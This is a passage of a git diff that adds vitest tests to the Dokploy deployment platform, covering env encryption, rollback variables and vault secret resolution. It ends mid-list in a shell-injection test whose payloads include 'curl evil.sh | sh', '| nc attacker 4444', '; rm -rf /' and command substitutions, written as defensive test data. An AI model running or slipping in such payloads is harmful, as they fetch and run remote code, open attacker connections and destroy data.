detachDokployNetwork: false,
|
||||
createEnvFile: true,
|
||||
bitbucketRepositorySlug: "",
|
||||
herokuVersion: "",
|
||||
|
||||
93
apps/dokploy/__test__/env/encryption.test.ts
vendored
Normal file
93
apps/dokploy/__test__/env/encryption.test.ts
vendored
Normal file
@ -0,0 +1,93 @@
|
||||
import {
|
||||
decryptValue,
|
||||
encryptValue,
|
||||
exportEncryptionKeys,
|
||||
isEncrypted,
|
||||
} from "@dokploy/server/lib/encryption";
|
||||
import { afterEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
describe("encryptValue / decryptValue", () => {
|
||||
it("round-trips a value", () => {
|
||||
const value =
|
||||
"DATABASE_URL=postgres://user:secret@host:5432/db\nAPI_KEY=123";
|
||||
const encrypted = encryptValue(value);
|
||||
|
||||
expect(encrypted).not.toBe(value);
|
||||
expect(isEncrypted(encrypted)).toBe(true);
|
||||
expect(encrypted).not.toContain("secret");
|
||||
expect(decryptValue(encrypted)).toBe(value);
|
||||
});
|
||||
|
||||
it("uses a random IV so equal inputs produce different ciphertexts", () => {
|
||||
const value = "KEY=value";
|
||||
expect(encryptValue(value)).not.toBe(encryptValue(value));
|
||||
});
|
||||
|
||||
it("passes legacy plaintext through on decrypt", () => {
|
||||
const plaintext = "KEY=legacy-plaintext-value";
|
||||
expect(decryptValue(plaintext)).toBe(plaintext);
|
||||
});
|
||||
|
||||
it("passes empty values through unchanged", () => {
|
||||
expect(encryptValue("")).toBe("");
|
||||
expect(decryptValue("")).toBe("");
|
||||
});
|
||||
|
||||
it("does not double-encrypt an already encrypted value", () => {
|
||||
const encrypted = encryptValue("KEY=value");
|
||||
expect(encryptValue(encrypted)).toBe(encrypted);
|
||||
});
|
||||
|
||||
it("throws a descriptive error on tampered ciphertext", () => {
|
||||
const encrypted = encryptValue("KEY=value");
|
||||
const tampered = `${encrypted.slice(0, -4)}AAAA`;
|
||||
expect(() => decryptValue(tampered)).toThrow(/BETTER_AUTH_SECRET/);
|
||||
});
|
||||
|
||||
it("exports the derived keys as 32-byte hex lines for backups", () => {
|
||||
expect(exportEncryptionKeys()).toMatch(/^[0-9a-f]{64}(\n[0-9a-f]{64})*$/);
|
||||
});
|
||||
});
|
||||
|
||||
describe("dedicated ENCRYPTION_KEY", () => {
|
||||
afterEach(() => {
|
||||
vi.unstubAllEnvs();
|
||||
vi.resetModules();
|
||||
});
|
||||
|
||||
const loadWithEncryptionKey = async (key: string) => {
|
||||
vi.stubEnv("ENCRYPTION_KEY", key);
|
||||
vi.resetModules();
|
||||
return await import("@dokploy/server/lib/encryption");
|
||||
};
|
||||
|
||||
it("encrypts with the dedicated key when set", async () => {
|
||||
const withKey = await loadWithEncryptionKey("my-dedicated-key");
|
||||
const encrypted = withKey.encryptValue("KEY=value");
|
||||
|
||||
expect(withKey.decryptValue(encrypted)).toBe("KEY=value");
|
||||
// The default (auth-secret derived) module cannot read it
|
||||
expect(() => decryptValue(encrypted)).toThrow(/ENCRYPTION_KEY/);
|
||||
});
|
||||
|
||||
it("still decrypts legacy values via the auth-secret fallback", async () => {
|
||||
// Encrypted before the install adopted a dedicated key
|
||||
const legacyEncrypted = encryptValue("KEY=legacy-value");
|
||||
|
||||
const withKey = await loadWithEncryptionKey("my-dedicated-key");
|
||||
expect(withKey.decryptValue(legacyEncrypted)).toBe("KEY=legacy-value");
|
||||
});
|
||||
|
||||
it("re-encrypts with the dedicated key on write", async () => {
|
||||
const withKey = await loadWithEncryptionKey("my-dedicated-key");
|
||||
const reEncrypted = withKey.encryptValue(
|
||||
withKey.decryptValue(encryptValue("KEY=migrated")),
|
||||
);
|
||||
|
||||
const other = await loadWithEncryptionKey("another-key");
|
||||
// Readable only by the dedicated key (or its own fallback), proving
|
||||
// the write used the primary key, not the legacy one
|
||||
expect(withKey.decryptValue(reEncrypted)).toBe("KEY=migrated");
|
||||
expect(() => other.decryptValue(reEncrypted)).toThrow();
|
||||
});
|
||||
});
|
||||
108
apps/dokploy/__test__/env/rollback-environment.test.ts
vendored
Normal file
108
apps/dokploy/__test__/env/rollback-environment.test.ts
vendored
Normal file
@ -0,0 +1,108 @@
|
||||
import { prepareEnvironmentVariables } from "@dokploy/server/index";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const projectEnv = `
|
||||
ENVIRONMENT=staging
|
||||
DATABASE_URL=postgres://postgres:postgres@localhost:5432/project_db
|
||||
`;
|
||||
|
||||
const environmentEnv = `
|
||||
NODE_ENV=production
|
||||
POSTGRES_HOST=postgres.internal
|
||||
POSTGRES_PORT=5432
|
||||
REDIS_URL=redis://redis.internal:6379
|
||||
`;
|
||||
|
||||
const serviceEnv = `
|
||||
NODE_ENV=\${{environment.NODE_ENV}}
|
||||
REDIS_URL=\${{environment.REDIS_URL}}
|
||||
PORT=3000
|
||||
`;
|
||||
|
||||
/**
|
||||
* A rollback replays the snapshot stored in `rollbacks.fullContext`, which keeps
|
||||
* the service env, the environment env and the project env captured at deploy time.
|
||||
*/
|
||||
const fullContext = {
|
||||
env: serviceEnv,
|
||||
environment: {
|
||||
env: environmentEnv,
|
||||
project: {
|
||||
env: projectEnv,
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
describe("prepareEnvironmentVariables for application rollback", () => {
|
||||
it("resolves environment variables from the rollback snapshot", () => {
|
||||
const result = prepareEnvironmentVariables(
|
||||
fullContext.env,
|
||||
fullContext.environment.project.env,
|
||||
fullContext.environment.env,
|
||||
);
|
||||
|
||||
expect(result).toEqual([
|
||||
"NODE_ENV=production",
|
||||
"REDIS_URL=redis://redis.internal:6379",
|
||||
"PORT=3000",
|
||||
]);
|
||||
});
|
||||
|
||||
it("resolves project and environment variables together on rollback", () => {
|
||||
const rollbackEnv = `
|
||||
DATABASE_URL=\${{project.DATABASE_URL}}
|
||||
POSTGRES_URL=postgres://\${{environment.POSTGRES_HOST}}:\${{environment.POSTGRES_PORT}}/app
|
||||
ENVIRONMENT=\${{project.ENVIRONMENT}}
|
||||
`;
|
||||
|
||||
const result = prepareEnvironmentVariables(
|
||||
rollbackEnv,
|
||||
projectEnv,
|
||||
environmentEnv,
|
||||
);
|
||||
|
||||
expect(result).toEqual([
|
||||
"DATABASE_URL=postgres://postgres:postgres@localhost:5432/project_db",
|
||||
"POSTGRES_URL=postgres://postgres.internal:5432/app",
|
||||
"ENVIRONMENT=staging",
|
||||
]);
|
||||
});
|
||||
|
||||
it("throws when the environment env of the snapshot is not passed", () => {
|
||||
expect(() =>
|
||||
prepareEnvironmentVariables(fullContext.env, projectEnv),
|
||||
).toThrow("Invalid environment variable: environment.NODE_ENV");
|
||||
});
|
||||
|
||||
it("maintains precedence: service > environment > project on rollback", () => {
|
||||
const conflictingProjectEnv = `
|
||||
NODE_ENV=project
|
||||
API_URL=https://project.api.com
|
||||
`;
|
||||
|
||||
const conflictingEnvironmentEnv = `
|
||||
NODE_ENV=environment
|
||||
API_URL=https://environment.api.com
|
||||
`;
|
||||
|
||||
const rollbackEnv = `
|
||||
NODE_ENV=service
|
||||
PROJECT_API_URL=\${{project.API_URL}}
|
||||
ENVIRONMENT_API_URL=\${{environment.API_URL}}
|
||||
SELF_REFERENCE=\${{NODE_ENV}}
|
||||
`;
|
||||
|
||||
const result = prepareEnvironmentVariables(
|
||||
rollbackEnv,
|
||||
conflictingProjectEnv,
|
||||
conflictingEnvironmentEnv,
|
||||
);
|
||||
|
||||
expect(result).toEqual([
|
||||
"NODE_ENV=service",
|
||||
"PROJECT_API_URL=https://project.api.com",
|
||||
"ENVIRONMENT_API_URL=https://environment.api.com",
|
||||
"SELF_REFERENCE=service",
|
||||
]);
|
||||
});
|
||||
});
|
||||
618
apps/dokploy/__test__/env/vault.test.ts
vendored
Normal file
618
apps/dokploy/__test__/env/vault.test.ts
vendored
Normal file
@ -0,0 +1,618 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const findMany = vi.fn();
|
||||
|
||||
vi.mock("@dokploy/server/db", () => ({
|
||||
db: {
|
||||
query: {
|
||||
vaultProvider: {
|
||||
findMany: (...args: unknown[]) => findMany(...args),
|
||||
},
|
||||
},
|
||||
},
|
||||
}));
|
||||
|
||||
import { prepareEnvironmentVariables } from "@dokploy/server/utils/docker/utils";
|
||||
import {
|
||||
resolveVaultReferences,
|
||||
withResolvedVaultRefs,
|
||||
} from "@dokploy/server/utils/vault";
|
||||
import { azureClient } from "@dokploy/server/utils/vault/azure";
|
||||
import { dopplerClient } from "@dokploy/server/utils/vault/doppler";
|
||||
import { hashicorpClient } from "@dokploy/server/utils/vault/hashicorp";
|
||||
import { scalewayClient } from "@dokploy/server/utils/vault/scaleway";
|
||||
|
||||
const mockFetch = vi.fn();
|
||||
global.fetch = mockFetch as typeof fetch;
|
||||
|
||||
const jsonResponse = (body: unknown, ok = true, status = 200) =>
|
||||
({
|
||||
ok,
|
||||
status,
|
||||
json: async () => body,
|
||||
}) as Response;
|
||||
|
||||
beforeEach(() => {
|
||||
findMany.mockReset();
|
||||
mockFetch.mockReset();
|
||||
});
|
||||
|
||||
const scope = {
|
||||
organizationId: "org-1",
|
||||
projectId: "proj-1",
|
||||
environmentId: "env-1",
|
||||
};
|
||||
|
||||
const assignedEverywhere = [{ projectId: "proj-1", environmentIds: [] }];
|
||||
|
||||
describe("resolveVaultReferences", () => {
|
||||
it("returns input untouched and skips the db when no refs are present", async () => {
|
||||
const env = "FOO=bar\nBAZ=${{project.QUX}}";
|
||||
const result = await resolveVaultReferences(env, scope);
|
||||
expect(result).toBe(env);
|
||||
expect(findMany).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("returns null/empty inputs unchanged", async () => {
|
||||
expect(await resolveVaultReferences(null, scope)).toBeNull();
|
||||
expect(await resolveVaultReferences("", scope)).toBe("");
|
||||
});
|
||||
|
||||
it("throws when refs exist but no organization context is given", async () => {
|
||||
await expect(
|
||||
resolveVaultReferences("FOO=${{vault.prod.SECRET}}"),
|
||||
).rejects.toThrow("not supported in this context");
|
||||
});
|
||||
|
||||
it("throws for an unknown provider", async () => {
|
||||
findMany.mockResolvedValue([]);
|
||||
await expect(
|
||||
resolveVaultReferences("FOO=${{vault.missing.SECRET}}", scope),
|
||||
).rejects.toThrow('Vault provider "missing" not found');
|
||||
});
|
||||
|
||||
it("throws when the provider is not assigned to the project", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "prod",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: [{ projectId: "other-project", environmentIds: [] }],
|
||||
},
|
||||
]);
|
||||
await expect(
|
||||
resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope),
|
||||
).rejects.toThrow("not enabled for this project/environment");
|
||||
});
|
||||
|
||||
it("throws when the provider is restricted to another environment", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "prod",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: [
|
||||
{ projectId: "proj-1", environmentIds: ["production-env"] },
|
||||
],
|
||||
},
|
||||
]);
|
||||
await expect(
|
||||
resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope),
|
||||
).rejects.toThrow("not enabled for this project/environment");
|
||||
});
|
||||
|
||||
it("allows a provider restricted to the matching environment", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "prod",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: [{ projectId: "proj-1", environmentIds: ["env-1"] }],
|
||||
},
|
||||
]);
|
||||
mockFetch.mockResolvedValue(jsonResponse({ SECRET: "value-1" }));
|
||||
const result = await resolveVaultReferences(
|
||||
"FOO=${{vault.prod.SECRET}}",
|
||||
scope,
|
||||
);
|
||||
expect(result).toBe("FOO=value-1");
|
||||
});
|
||||
|
||||
it("resolves refs through a doppler provider", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "doppler-prod",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: assignedEverywhere,
|
||||
},
|
||||
]);
|
||||
mockFetch.mockResolvedValue(
|
||||
jsonResponse({ DB_URL: "postgres://real", API_KEY: "key-123" }),
|
||||
);
|
||||
|
||||
const result = await resolveVaultReferences(
|
||||
"DB_URL=${{vault.doppler-prod.DB_URL}}\nAPI_KEY=${{vault.doppler-prod.API_KEY}}",
|
||||
scope,
|
||||
);
|
||||
|
||||
expect(result).toBe("DB_URL=postgres://real\nAPI_KEY=key-123");
|
||||
expect(mockFetch).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it("throws when the secret is missing in the provider", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "doppler-prod",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: assignedEverywhere,
|
||||
},
|
||||
]);
|
||||
mockFetch.mockResolvedValue(jsonResponse({ OTHER: "x" }));
|
||||
|
||||
await expect(
|
||||
resolveVaultReferences("FOO=${{vault.doppler-prod.MISSING}}", scope),
|
||||
).rejects.toThrow('secret "MISSING" not found');
|
||||
});
|
||||
});
|
||||
|
||||
describe("withResolvedVaultRefs + prepareEnvironmentVariables", () => {
|
||||
it("resolves entity env sources so sync interpolation sees real values", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "prod",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: assignedEverywhere,
|
||||
},
|
||||
]);
|
||||
mockFetch.mockResolvedValue(jsonResponse({ DB_PASSWORD: "s3cret" }));
|
||||
|
||||
const entity = {
|
||||
env: "DATABASE_URL=postgres://user:${{project.DB_PASSWORD}}@db",
|
||||
environment: {
|
||||
environmentId: "env-1",
|
||||
env: null,
|
||||
project: {
|
||||
projectId: "proj-1",
|
||||
env: "DB_PASSWORD=${{vault.prod.DB_PASSWORD}}",
|
||||
organizationId: "org-1",
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
const resolved = await withResolvedVaultRefs(entity);
|
||||
const prepared = prepareEnvironmentVariables(
|
||||
resolved.env,
|
||||
resolved.environment.project.env,
|
||||
resolved.environment.env,
|
||||
);
|
||||
|
||||
expect(prepared).toEqual(["DATABASE_URL=postgres://user:s3cret@db"]);
|
||||
});
|
||||
|
||||
it("resolves buildArgs and buildSecrets when present", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "prod",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: assignedEverywhere,
|
||||
},
|
||||
]);
|
||||
mockFetch.mockResolvedValue(jsonResponse({ NPM_TOKEN: "npm-123" }));
|
||||
|
||||
const resolved = await withResolvedVaultRefs({
|
||||
env: "FOO=bar",
|
||||
buildArgs: "NPM_TOKEN=${{vault.prod.NPM_TOKEN}}",
|
||||
buildSecrets: null,
|
||||
environment: {
|
||||
environmentId: "env-1",
|
||||
env: null,
|
||||
project: { projectId: "proj-1", env: null, organizationId: "org-1" },
|
||||
},
|
||||
});
|
||||
|
||||
expect(resolved.buildArgs).toBe("NPM_TOKEN=npm-123");
|
||||
expect(resolved.buildSecrets).toBeNull();
|
||||
expect(resolved.env).toBe("FOO=bar");
|
||||
});
|
||||
|
||||
it.each([
|
||||
["service env", { env: "SECRET=${{vault.locked.X}}" }],
|
||||
["environment env", { environmentEnv: "SECRET=${{vault.locked.X}}" }],
|
||||
["project env", { projectEnv: "SECRET=${{vault.locked.X}}" }],
|
||||
["build args", { buildArgs: "SECRET=${{vault.locked.X}}" }],
|
||||
])(
|
||||
"rejects a ref to an unassigned provider placed in the %s",
|
||||
async (_source, overrides) => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "locked",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: [{ projectId: "other-project", environmentIds: [] }],
|
||||
},
|
||||
]);
|
||||
|
||||
const entity = {
|
||||
env: (overrides as { env?: string }).env ?? "FOO=bar",
|
||||
buildArgs: (overrides as { buildArgs?: string }).buildArgs ?? null,
|
||||
environment: {
|
||||
environmentId: "env-1",
|
||||
env:
|
||||
(overrides as { environmentEnv?: string }).environmentEnv ?? null,
|
||||
project: {
|
||||
projectId: "proj-1",
|
||||
env: (overrides as { projectEnv?: string }).projectEnv ?? null,
|
||||
organizationId: "org-1",
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
await expect(withResolvedVaultRefs(entity)).rejects.toThrow(
|
||||
"not enabled for this project/environment",
|
||||
);
|
||||
expect(mockFetch).not.toHaveBeenCalled();
|
||||
},
|
||||
);
|
||||
|
||||
it("rejects a ref restricted to another environment from the environment env", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "prod-only",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: [
|
||||
{ projectId: "proj-1", environmentIds: ["production-env"] },
|
||||
],
|
||||
},
|
||||
]);
|
||||
|
||||
await expect(
|
||||
withResolvedVaultRefs({
|
||||
env: null,
|
||||
environment: {
|
||||
environmentId: "dev-env",
|
||||
env: "SECRET=${{vault.prod-only.X}}",
|
||||
project: { projectId: "proj-1", env: null, organizationId: "org-1" },
|
||||
},
|
||||
}),
|
||||
).rejects.toThrow("not enabled for this project/environment");
|
||||
expect(mockFetch).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("prepareEnvironmentVariables throws on unresolved vault refs", () => {
|
||||
expect(() =>
|
||||
prepareEnvironmentVariables("FOO=${{vault.prod.SECRET}}", "", ""),
|
||||
).toThrow("Unresolved vault reference");
|
||||
});
|
||||
|
||||
it("keeps working without vault refs", () => {
|
||||
const prepared = prepareEnvironmentVariables(
|
||||
"FOO=${{project.BAR}}",
|
||||
"BAR=baz",
|
||||
);
|
||||
expect(prepared).toEqual(["FOO=baz"]);
|
||||
expect(findMany).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe("hashicorp client", () => {
|
||||
const config = {
|
||||
providerType: "hashicorp" as const,
|
||||
url: "https://vault.example.com",
|
||||
token: "hvs.token",
|
||||
mount: "secret",
|
||||
};
|
||||
|
||||
it("rejects refs without a field", async () => {
|
||||
await expect(
|
||||
hashicorpClient.getSecrets(config, ["myapp/prod"]),
|
||||
).rejects.toThrow("expected format <path>:<field>");
|
||||
});
|
||||
|
||||
it("groups refs by path and picks fields from KV v2 data", async () => {
|
||||
mockFetch.mockResolvedValue(
|
||||
jsonResponse({ data: { data: { USER: "admin", PASS: "pw" } } }),
|
||||
);
|
||||
|
||||
const result = await hashicorpClient.getSecrets(config, [
|
||||
"myapp/prod:USER",
|
||||
"myapp/prod:PASS",
|
||||
]);
|
||||
|
||||
expect(result).toEqual({
|
||||
"myapp/prod:USER": "admin",
|
||||
"myapp/prod:PASS": "pw",
|
||||
});
|
||||
expect(mockFetch).toHaveBeenCalledTimes(1);
|
||||
expect(mockFetch.mock.calls[0]?.[0]).toBe(
|
||||
"https://vault.example.com/v1/secret/data/myapp/prod",
|
||||
);
|
||||
});
|
||||
|
||||
it("throws when a field is missing", async () => {
|
||||
mockFetch.mockResolvedValue(jsonResponse({ data: { data: { A: "1" } } }));
|
||||
await expect(
|
||||
hashicorpClient.getSecrets(config, ["myapp/prod:MISSING"]),
|
||||
).rejects.toThrow('field "MISSING" not found');
|
||||
});
|
||||
|
||||
it("lists full path:field refs by walking directories", async () => {
|
||||
mockFetch.mockImplementation(async (url: string) => {
|
||||
if (url.includes("/metadata?list=true")) {
|
||||
return jsonResponse({ data: { keys: ["myapp/", "shared"] } });
|
||||
}
|
||||
if (url.includes("/metadata/myapp?list=true")) {
|
||||
return jsonResponse({ data: { keys: ["prod"] } });
|
||||
}
|
||||
if (url.includes("/data/myapp/prod")) {
|
||||
return jsonResponse({
|
||||
data: { data: { API_KEY: "a", DB_PASSWORD: "b" } },
|
||||
});
|
||||
}
|
||||
if (url.includes("/data/shared")) {
|
||||
return jsonResponse({ data: { data: { STRIPE_KEY: "c" } } });
|
||||
}
|
||||
return jsonResponse({}, false, 404);
|
||||
});
|
||||
|
||||
const names = await hashicorpClient.listSecretNames?.(config);
|
||||
|
||||
expect(names).toEqual([
|
||||
"myapp/prod:API_KEY",
|
||||
"myapp/prod:DB_PASSWORD",
|
||||
"shared:STRIPE_KEY",
|
||||
]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("azure client", () => {
|
||||
const config = {
|
||||
providerType: "azure" as const,
|
||||
vaultUri: "https://my-vault.vault.azure.net",
|
||||
tenantId: "tenant-1",
|
||||
clientId: "client-1",
|
||||
clientSecret: "secret-1",
|
||||
};
|
||||
|
||||
it("authenticates and reads secrets by name", async () => {
|
||||
mockFetch.mockImplementation(async (url: string) => {
|
||||
if (url.includes("login.microsoftonline.com/tenant-1")) {
|
||||
return jsonResponse({ access_token: "azure-token" });
|
||||
}
|
||||
if (url.includes("/secrets/db-password?")) {
|
||||
return jsonResponse({ value: "azure-pw" });
|
||||
}
|
||||
return jsonResponse({}, false, 404);
|
||||
});
|
||||
|
||||
const result = await azureClient.getSecrets(config, ["db-password"]);
|
||||
|
||||
expect(result).toEqual({ "db-password": "azure-pw" });
|
||||
});
|
||||
|
||||
it("throws a clear error for missing secrets", async () => {
|
||||
mockFetch.mockImplementation(async (url: string) => {
|
||||
if (url.includes("login.microsoftonline.com")) {
|
||||
return jsonResponse({ access_token: "azure-token" });
|
||||
}
|
||||
return jsonResponse({}, false, 404);
|
||||
});
|
||||
|
||||
await expect(azureClient.getSecrets(config, ["nope"])).rejects.toThrow(
|
||||
'secret "nope" not found',
|
||||
);
|
||||
});
|
||||
|
||||
it("lists secret names from paged results", async () => {
|
||||
mockFetch.mockImplementation(async (url: string) => {
|
||||
if (url.includes("login.microsoftonline.com")) {
|
||||
return jsonResponse({ access_token: "azure-token" });
|
||||
}
|
||||
if (url.includes("skiptoken")) {
|
||||
return jsonResponse({
|
||||
value: [{ id: `${config.vaultUri}/secrets/second` }],
|
||||
nextLink: null,
|
||||
});
|
||||
}
|
||||
return jsonResponse({
|
||||
value: [{ id: `${config.vaultUri}/secrets/first` }],
|
||||
nextLink: `${config.vaultUri}/secrets?api-version=7.4&skiptoken=abc`,
|
||||
});
|
||||
});
|
||||
|
||||
const names = await azureClient.listSecretNames?.(config);
|
||||
|
||||
expect(names).toEqual(["first", "second"]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("doppler client", () => {
|
||||
it("propagates auth errors with the status code", async () => {
|
||||
mockFetch.mockResolvedValue(jsonResponse({}, false, 401));
|
||||
await expect(
|
||||
dopplerClient.getSecrets(
|
||||
{ providerType: "doppler", serviceToken: "bad" },
|
||||
["FOO"],
|
||||
),
|
||||
).rejects.toThrow("status 401");
|
||||
});
|
||||
});
|
||||
|
||||
describe("scaleway client", () => {
|
||||
const config = {
|
||||
providerType: "scaleway" as const,
|
||||
region: "fr-par",
|
||||
projectId: "project-1",
|
||||
secretKey: "scw-secret-key",
|
||||
apiUrl: "https://api.scaleway.com",
|
||||
};
|
||||
|
||||
const accessResponse = (value: string) =>
|
||||
jsonResponse({
|
||||
secret_id: "secret-1",
|
||||
revision: 1,
|
||||
data: Buffer.from(value).toString("base64"),
|
||||
});
|
||||
|
||||
it("reads a secret by name from the root path and decodes the payload", async () => {
|
||||
mockFetch.mockResolvedValue(accessResponse("postgres://real"));
|
||||
|
||||
const result = await scalewayClient.getSecrets(config, ["db-url"]);
|
||||
|
||||
expect(result).toEqual({ "db-url": "postgres://real" });
|
||||
expect(mockFetch).toHaveBeenCalledTimes(1);
|
||||
const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
|
||||
expect(url).toBe(
|
||||
"https://api.scaleway.com/secret-manager/v1beta1/regions/fr-par/secrets-by-path/versions/latest_enabled/access?project_id=project-1&secret_name=db-url&secret_path=%2F",
|
||||
);
|
||||
expect((init.headers as Record<string, string>)["X-Auth-Token"]).toBe(
|
||||
"scw-secret-key",
|
||||
);
|
||||
});
|
||||
|
||||
it("sends the folder of a path-qualified ref as secret_path", async () => {
|
||||
mockFetch.mockResolvedValue(accessResponse("value"));
|
||||
|
||||
await scalewayClient.getSecrets(config, ["prod/db/password"]);
|
||||
|
||||
expect(mockFetch.mock.calls[0]?.[0]).toContain(
|
||||
"secret_name=password&secret_path=%2Fprod%2Fdb",
|
||||
);
|
||||
});
|
||||
|
||||
it("extracts a field from a JSON secret and fetches the secret once", async () => {
|
||||
mockFetch.mockResolvedValue(
|
||||
accessResponse(JSON.stringify({ user: "admin", port: 5432 })),
|
||||
);
|
||||
|
||||
const result = await scalewayClient.getSecrets(config, [
|
||||
"db-creds:user",
|
||||
"db-creds:port",
|
||||
]);
|
||||
|
||||
expect(result).toEqual({
|
||||
"db-creds:user": "admin",
|
||||
"db-creds:port": "5432",
|
||||
});
|
||||
expect(mockFetch).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it("throws when the secret is not JSON but a field is requested", async () => {
|
||||
mockFetch.mockResolvedValue(accessResponse("plain-value"));
|
||||
|
||||
await expect(
|
||||
scalewayClient.getSecrets(config, ["db-creds:user"]),
|
||||
).rejects.toThrow("is not JSON");
|
||||
});
|
||||
|
||||
it("throws when the requested field is missing", async () => {
|
||||
mockFetch.mockResolvedValue(accessResponse(JSON.stringify({ user: "a" })));
|
||||
|
||||
await expect(
|
||||
scalewayClient.getSecrets(config, ["db-creds:password"]),
|
||||
).rejects.toThrow('field "password" not found');
|
||||
});
|
||||
|
||||
it("throws a clear error for a missing secret", async () => {
|
||||
mockFetch.mockResolvedValue(
|
||||
jsonResponse({ message: "not found" }, false, 404),
|
||||
);
|
||||
|
||||
await expect(scalewayClient.getSecrets(config, ["nope"])).rejects.toThrow(
|
||||
'secret "nope" not found in path "/"',
|
||||
);
|
||||
});
|
||||
|
||||
it("reports authentication failures with the API message", async () => {
|
||||
mockFetch.mockResolvedValue(
|
||||
jsonResponse({ message: "denied authentication" }, false, 403),
|
||||
);
|
||||
|
||||
await expect(scalewayClient.getSecrets(config, ["db-url"])).rejects.toThrow(
|
||||
"authentication failed (status 403: denied authentication)",
|
||||
);
|
||||
});
|
||||
|
||||
it("throws when the secret has no enabled version", async () => {
|
||||
mockFetch.mockResolvedValue(jsonResponse({ secret_id: "secret-1" }));
|
||||
|
||||
await expect(scalewayClient.getSecrets(config, ["db-url"])).rejects.toThrow(
|
||||
"has no enabled version",
|
||||
);
|
||||
});
|
||||
|
||||
it("rejects a ref without a secret name", async () => {
|
||||
await expect(scalewayClient.getSecrets(config, ["prod/"])).rejects.toThrow(
|
||||
"expected format <name> or <folder>/<name>[:field]",
|
||||
);
|
||||
});
|
||||
|
||||
it("tests the connection against the secrets listing", async () => {
|
||||
mockFetch.mockResolvedValue(jsonResponse({ secrets: [], total_count: 0 }));
|
||||
|
||||
await scalewayClient.testConnection(config);
|
||||
|
||||
expect(mockFetch.mock.calls[0]?.[0]).toBe(
|
||||
"https://api.scaleway.com/secret-manager/v1beta1/regions/fr-par/secrets?project_id=project-1&page_size=1",
|
||||
);
|
||||
});
|
||||
|
||||
it("lists secret names with their folder prefix", async () => {
|
||||
mockFetch.mockResolvedValue(
|
||||
jsonResponse({
|
||||
secrets: [
|
||||
{ id: "1", name: "db-url", path: "/" },
|
||||
{ id: "2", name: "password", path: "/prod/db" },
|
||||
],
|
||||
total_count: 2,
|
||||
}),
|
||||
);
|
||||
|
||||
const names = await scalewayClient.listSecretNames?.(config);
|
||||
|
||||
expect(names).toEqual(["db-url", "prod/db/password"]);
|
||||
expect(mockFetch).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it("follows pagination until a short page is returned", async () => {
|
||||
const page = (start: number, size: number) =>
|
||||
jsonResponse({
|
||||
secrets: Array.from({ length: size }, (_, index) => ({
|
||||
id: String(start + index),
|
||||
name: `secret-${start + index}`,
|
||||
path: "/",
|
||||
})),
|
||||
});
|
||||
mockFetch.mockImplementation(async (url: string) =>
|
||||
url.includes("page=2") ? page(101, 2) : page(1, 100),
|
||||
);
|
||||
|
||||
const names = await scalewayClient.listSecretNames?.(config);
|
||||
|
||||
expect(names).toHaveLength(102);
|
||||
expect(mockFetch).toHaveBeenCalledTimes(2);
|
||||
});
|
||||
|
||||
it("resolves env refs end to end through a scaleway provider", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "scw-prod",
|
||||
providerType: "scaleway",
|
||||
config,
|
||||
assignments: assignedEverywhere,
|
||||
},
|
||||
]);
|
||||
mockFetch.mockResolvedValue(accessResponse("s3cret"));
|
||||
|
||||
const result = await resolveVaultReferences(
|
||||
"DB_PASSWORD=${{vault.scw-prod.prod/db-password}}",
|
||||
scope,
|
||||
);
|
||||
|
||||
expect(result).toBe("DB_PASSWORD=s3cret");
|
||||
});
|
||||
});
|
||||
@ -0,0 +1,89 @@
|
||||
import { cloneGitRepository } from "@dokploy/server/utils/providers/git";
|
||||
import { parse, quote } from "shell-quote";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
// How git-provider commands escape a single user value before it reaches the shell.
|
||||
const shellArg = (value: string) => quote([String(value ?? "")]);
|
||||
|
||||
// Payloads that, if reached a shell unescaped, would execute commands.
|
||||
const INJECTION_PAYLOADS = [
|
||||
"$(touch /tmp/pwned)",
|
||||
"`id`",
|
||||
"; rm -rf /",
|
||||
"&& curl evil.sh | sh",
|
||||
"| nc attacker 4444",
|
||||
"https://github.com/o/r.git$(whoami)",
|
